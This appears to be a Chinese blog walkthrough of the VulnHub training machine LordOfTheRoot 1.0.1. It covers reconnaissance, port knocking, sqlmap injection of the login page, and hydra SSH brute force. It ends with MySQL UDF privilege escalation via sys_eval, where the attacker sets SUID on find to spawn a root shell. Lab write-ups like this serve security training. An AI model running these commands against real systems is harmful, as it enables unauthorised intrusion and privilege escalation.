LordOfTheRoot_1.0.1靶机入侵

LordOfTheRoot_1.0.1靶机入侵

1、环境搭建

下载地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

​ 下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。

2、信息收集

  • 主机发现

    使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
    在这里插入图片描述
    192.168.110.137,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24

  • 端口扫描

    使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -p- -A 192.168.110.138
    在这里插入图片描述

    扫描结果显示只开启了22端口ssh服务

3、漏洞探测

  • 端口碰撞

    尝试登录ssh服务
    在这里插入图片描述
    发现提示 knock Easy as 1,2,3 意思是敲击三次 端口碰撞

    端口碰撞原理

    端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。
    一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
    端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。
    端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。
    当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
    由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
    

    要求

    端口碰撞要求  知道端口碰撞的序列 否则暴力破解几率很小
    Easy as 1,2,3 碰撞序列为1 ,2,3
    

    使用knock碰撞(敲门),按指定顺序碰撞指定的端口

    knock 192.168.110.138 1 2 3 -v
    

    也可以用nmap

    for x in 1 2 3;do nmap -Pn --max-retries 0 -p $x 192.168.110.138;done
    

    碰撞后再次扫描端口(那台电脑碰撞的就用哪台扫描)
    在这里插入图片描述
    发现还开放了1337端口
    在这里插入图片描述

  • 目录扫描

    使用dirsearch对网站扫描
    在这里插入图片描述
    在404页面的源码中发现了一串编码
    在这里插入图片描述
    解码得到一个目录
    在这里插入图片描述
    访问发现是一个登录页面
    在这里插入图片描述

  • SQL注入

    测试发现页面存在SQL注入,查看mysql当前登录用户,是否有DBA权限,以及当前数据库名

    sqlmap -u http://192.168.110.138:1337/978345210/index.php --data="password=admin&submit=+Login+&username=admin" -p password --current-user --current-db --is-dba
    

在这里插入图片描述
注入得到账号密码(延时注入过程有点久·······)

得到5个账号密码,试着登录一下
在这里插入图片描述
网站的登录后没什么有用信息
在这里插入图片描述

  • ssh爆破

    利用得到的账号和密码去爆破ssh服务,这儿使用hydra

    用注入得到的账号密码做成两个字典
    在这里插入图片描述
    找到一个可登录的账号smeagol /MyPreciousR00t
    在这里插入图片描述
    成功登录
    在这里插入图片描述

4、权限提升

这里可以使用内核提权,我这使用udf提权

先想办法找到mysql中root用户的账号和密码

在网站登录页源码中找到了:root/darkshadow

首先看一下是否满足写入条件:
在这里插入图片描述
满足udf条件

查看插件目录:

show variables like '%plugin%';

在这里插入图片描述

查看是否可以远程登录 若可以远程登陆可以用msf提权 
use mysql;
select user,host from user;

在这里插入图片描述
并不能

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。

或者udf exploit提权那个的函数执行系统命令
do_system 

本次使用lib_mysqludf_sys

Linux系统中使用.so后缀的,sqlmap中的这两个文件经过了编码,不能直接使用。这里用的是msf里面的
在这里插入图片描述
python开启http服务,让靶机下载提权.so文件

python2语法:
python -m SimpleHTTPServer 8080

python3语法:
python -m http.server 8080

靶机进入到/tmp目录wget下载udf.so文件
在这里插入图片描述

mysql -uroot -pdarkshadow  //进入mysql
use mysql    //切换到mysql数据库
create table udf (line blob); //创建表,用于存放本地传来的udf文件的内容。

insert into udf values(load_file('/tmp/udf.so')); //在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; 

//将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改

create function sys_eval returns string soname 'udf.so'; 创建自定义函数

select * from mysql.func; //查看函数

select sys_eval('chmod u+s /usr/bin/find');
//调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令(这里想象空间很大,可以把当前用户加入管理组,也可以是其他命令等等)

find / -exec '/bin/sh' \;  //执行提权

在这里插入图片描述
在这里插入图片描述
成功拿到flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值